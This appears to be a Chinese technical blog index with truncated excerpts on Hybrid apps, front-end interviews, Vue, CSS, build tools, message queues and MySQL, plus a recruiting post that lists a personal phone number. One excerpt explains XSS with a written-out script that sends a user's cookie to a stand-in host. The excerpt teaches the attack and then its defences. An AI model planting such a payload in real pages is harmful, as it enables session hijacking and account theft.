Harry Blog

# 进阶知识 # Hybrid 随着 Web 技术 和 移动设备 的快速发展，在各家大厂中，Hybrid 技术已经成为一种最主流最不可取代的架构方案之一。一套好的 Hybrid 架构方案能让 App 既能拥有 极致的体验和性能，同时也能拥有 Web 技术 灵活的开发模式、跨平台能力以及热更新机制。因此，相关的 Hybrid 领域人才也是十分的吃香，精通 Hybrid 技术和相关的实战经验，也是面试中一项大大的加分项。 # 1. 混合方案简析 Hybrid App，俗称 混合应用，即混合了 Native 技术 与 Web 技术 进行开发的移动应用。现在比较流行的混合方案主要有三种，主要是在 UI 渲染机制上的不同: Webview UI: 通过 JSBridge 完成 H5 与 Native 的双向通讯，并 基于 Webview 进行页面的渲染； 优势：简单易用，架构门槛 / 成本较低，适用性与灵活性极强； 劣势: Webview 性能局限，在复杂页面中，表现远不如原生页面； Native UI: 通过 JSBridge 赋予 H5 原生能力，并进一步将 JS 生成的虚拟节 ...

# 关于阿里 Hi，大家好，我们是阿里巴巴新成立的 BU，目前还有大量的 Web 前端职位空缺，机会难得，希望正在找工作的同学们可以来试试： 目前 Web 前端急缺 P6 和 P7（阿里的很多 BU 都只招 P7 了） 新的 BU 你进来即是元老😂😂😂 前端技术体系大部分需要一起重新开拓，可以学习到更多的新内容 主要负责 PC 端、客户端、钉钉 E 应用以及支付宝小程序的开发（我本人完全不会小程序，不用担心😂😂😂） 技术栈是 React（如果你是 Vue 技术栈完全不用担心，因为我也是😂😂😂） 其他 BU 面试可能有五轮，我们这边只有 4 轮面试 真的机会难得哦，如果想更多了解我们 BU 以及找我内推的同事加我钉钉或者微信（纯粹找我了解或者沟通技术也行，啊哈哈）：18768107826 # 简历 我的简历只是简单的用 MD 做了一份，大致包含了以下几个部分： 基本资料 专业技能 工作经历 实习经历（可选） 项目经历 小提示：在基本资料里一定要填写正确的邮箱地址，我在前期面试的时候都没有打开邮箱查看面试情况，导致一些面试的时间点和面试结果都不清楚（一直以为会发 ...

# 前端开发面试题 前端开发所需掌握知识点概要： HTML&CSS： 对Web标准的理解（结构、表现、行为）、浏览器内核、渲染原理、依赖管理、兼容性、CSS语法、层次关系，常用属性、布局、选择器、权重、盒模型、 Hack、CSS预处理器、CSS3、Flexbox、CSS Modules、Document flow、BFC、HTML5（离线 & 存储、Histoy,多媒体、WebGL\SVG\Canvas）； JavaScript： 数据类型、运算、对象、Function、继承、闭包、作用域、事件、Prototype、RegExp、JSON、Ajax、DOM、BOM、 内存泄漏、跨域、异步请求、模板引擎、模块化、Flux、同构、算法、ECMAScript6、Nodejs、HTTP、 其他： 主流MVVM框架(React\Vue\Angular)、Hybrid App\React Native\Weex、TypeScript、RESTFul、WEB安全、前端工程化、依赖管理、性能优化、 重构、团队协作、可维护、易用性、SEO、UED ...

# 前言 本文整理了高频出现的 Vue 相关面试题并且附带详解答案 难度分为简单 中等 困难 三种类型 大家可以先不看答案自测一下自己的 Vue 水平哈 如果对原理感兴趣的同学 欢迎查看小编的手写 Vue 源码系列文章 如果对答案有不一样见解的同学欢迎评论区补充讨论 最后欢迎大家点击 链接 加入到鲨鱼哥的前端群 内推 讨论技术 摸鱼 求助 皆可 (进群免费领取 Vue2 源码思维导图哈) 整理不易 如果觉得本文有帮助 记得点赞三连哦 十分感谢！ # 简单 # 1 MVC 和 MVVM 区别 # MVC MVC 全名是 Model View Controller，是模型 (model)－视图 (view)－控制器 (controller) 的缩写，一种软件设计典范 Model（模型）：是应用程序中用于处理应用程序数据逻辑的部分。通常模型对象负责在数据库中存取数据 View（视图）：是应用程序中处理数据显示的部分。通常视图是依据模型数据创建的 Controller（控制器）：是应用程序中处理用户交互的部分。通常控制器负责从视图读取数据，控制用户输入，并向模型发送数据 MVC 的 ...

# 一、CSS 问题 # 1.flex 布局 display:flex; 在父元素设置，子元素受弹性盒影响，默认排成一行，如果超出一行，按比例压缩 flex:1; 子元素设置，设置子元素如何分配父元素的空间，flex:1, 子元素宽度占满整个父元素 align-items:center 定义子元素在父容器中的对齐方式，center 垂直居中 justify-content:center 设置子元素在父元素中居中，前提是子元素没有把父元素占满，让子元素水平居中。 # 2.css3 的新特性 transtion transition-property 规定设置过渡效果的 CSS 属性的名称。 transition-duration 规定完成过渡效果需要多少秒或毫秒。 transition-timing-function 规定速度效果的速度曲线。 transition-delay 定义过渡效果何时开始。 animation 属性可以像 Flash 制作动画一样，通过控制关键帧来控制动画的每一步，实现更为复杂的动画效果。 ainimation 实现动画效果主要由两部分 ...

# 攻击技术 # 一、跨站脚本攻击 # 概念 跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。 # 攻击原理 例如有一个论坛网站，攻击者可以在上面发布以下内容： <script>location.href="//domain.com/?c=" + document.cookie</script> 之后该内容可能会被渲染成以下形式： <p><script>location.href="//domain.com/?c=" + document.cookie</script></p> 另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 # 危害 窃取用户的 Cookie 伪造虚假的输入表单骗取个人信息 显示伪造的文章或者图片 # 防范手段 # 1. 设置 Cookie 为 HttpO ...

# 构建工具 # 一、构建工具的作用 构建一个项目通常包含了依赖管理、测试、编译、打包、发布等流程，构建工具可以自动化进行这些操作，从而为我们减少这些繁琐的工作。 其中构建工具提供的依赖管理能够可以自动处理依赖关系。例如一个项目需要用到依赖 A，A 又依赖于 B，那么构建工具就能帮我们导入 B，而不需要我们手动去寻找并导入。 在 Java 项目中，打包流程通常是将项目打包成 Jar 包。在没有构建工具的情况下，我们需要使用命令行工具或者 IDE 手动打包。而发布流程通常是将 Jar 包上传到服务器上。 # 二、Java 主流构建工具 Ant 具有编译、测试和打包功能，其后出现的 Maven 在 Ant 的功能基础上又新增了依赖管理功能，而最新的 Gradle 又在 Maven 的功能基础上新增了对 Groovy 语言的支持。 Gradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。 例如要在项目中引入 Junit，Maven 的代码如下： <? ...

# 消息队列 消息队列 一、消息模型 点对点 发布 / 订阅 二、使用场景 异步处理 流量削锋 应用解耦 三、可靠性 发送端的可靠性 接收端的可靠性 参考资料 # 一、消息模型 # 点对点 消息生产者向消息队列中发送了一个消息之后，只能被一个消费者消费一次。 # 发布 / 订阅 消息生产者向频道发送一个消息之后，多个消费者可以从该频道订阅到这条消息并消费。 发布与订阅模式和观察者模式有以下不同： 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，生产者与消费者不知道对方的存在，它们之间通过频道进行通信。 观察者模式是同步的，当事件触发时，主题会调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，生产者向频道发送一个消息之后，就不需要关心消费者何时去订阅这个消息，可以立即返回。 # 二、使用场景 # 异步处理 发送者将消息发送给消息队列之后，不需要同步等待消息接收者处理完毕，而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。 例如在注册流程中通常需要发送验证邮件来确保注册用户身份的合法 ...

# MySQL MySQL 一、索引 B+ Tree 原理 MySQL 索引 索引优化 索引的优点 索引的使用条件 二、查询性能优化 使用 Explain 进行分析 优化数据访问 重构查询方式 三、存储引擎 InnoDB MyISAM 比较 四、数据类型 整型 浮点数 字符串 时间和日期 五、切分 水平切分 垂直切分 Sharding 策略 Sharding 存在的问题 六、复制 主从复制 读写分离 参考资料 # 一、索引 # B+ Tree 原理 # 1. 数据结构 B Tree 指的是 Balance Tree，也就是平衡树。平衡树是一颗查找树，并且所有叶子节点位于同一层。 B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具有 B Tree 的平衡性，并且通过顺序访问指针来提高区间查询的性能。 在 B+ Tree 中，一个节点中的 key 从左到右非递减排列，如果某个指针的左右相邻 key 分别是 keyi 和 keyi+1，且不为 null，则该指针指向节点的所有 key 大于等于 keyi 且小于等于 ...

# MySQL 常用函数汇总 # 字符串函数 函数 功能 CONCAT(s1,s2,……) 字符串连接 INSERT(str,x,y,instr) 将指定开始标记到结束的字符串替换为指定字符串 LOWER(str) 将字符串所有字符转为小写 UPPER(str) 将字符串所有字符串转为大写 LEFT(str,x) 返回字符串 str 最左边的 x 个字符 RIGHT(str,x) 返回字符串 str 最右边的 x 个字符 LPAD(str,n,pad) 在 str 最左边填充 n 个 pad RPAD(str,n,pad) 在 str 最右边填充 n 个 pad LTRIM(str) 去掉字符串 str 左侧的空格 RTRIM(str) 去掉字符串 str 右侧的空格 REPEAT(str,x) 返回 str 重复 x 次的结果 STRCMP(s1,s2) 比较字符串 s1 和 s2 REPLACE(str,a,b) 用字符串 b 替换字符串 str 中所有出现的字符串 a TRIM(str) 去掉字符串行尾和行头的空格 ...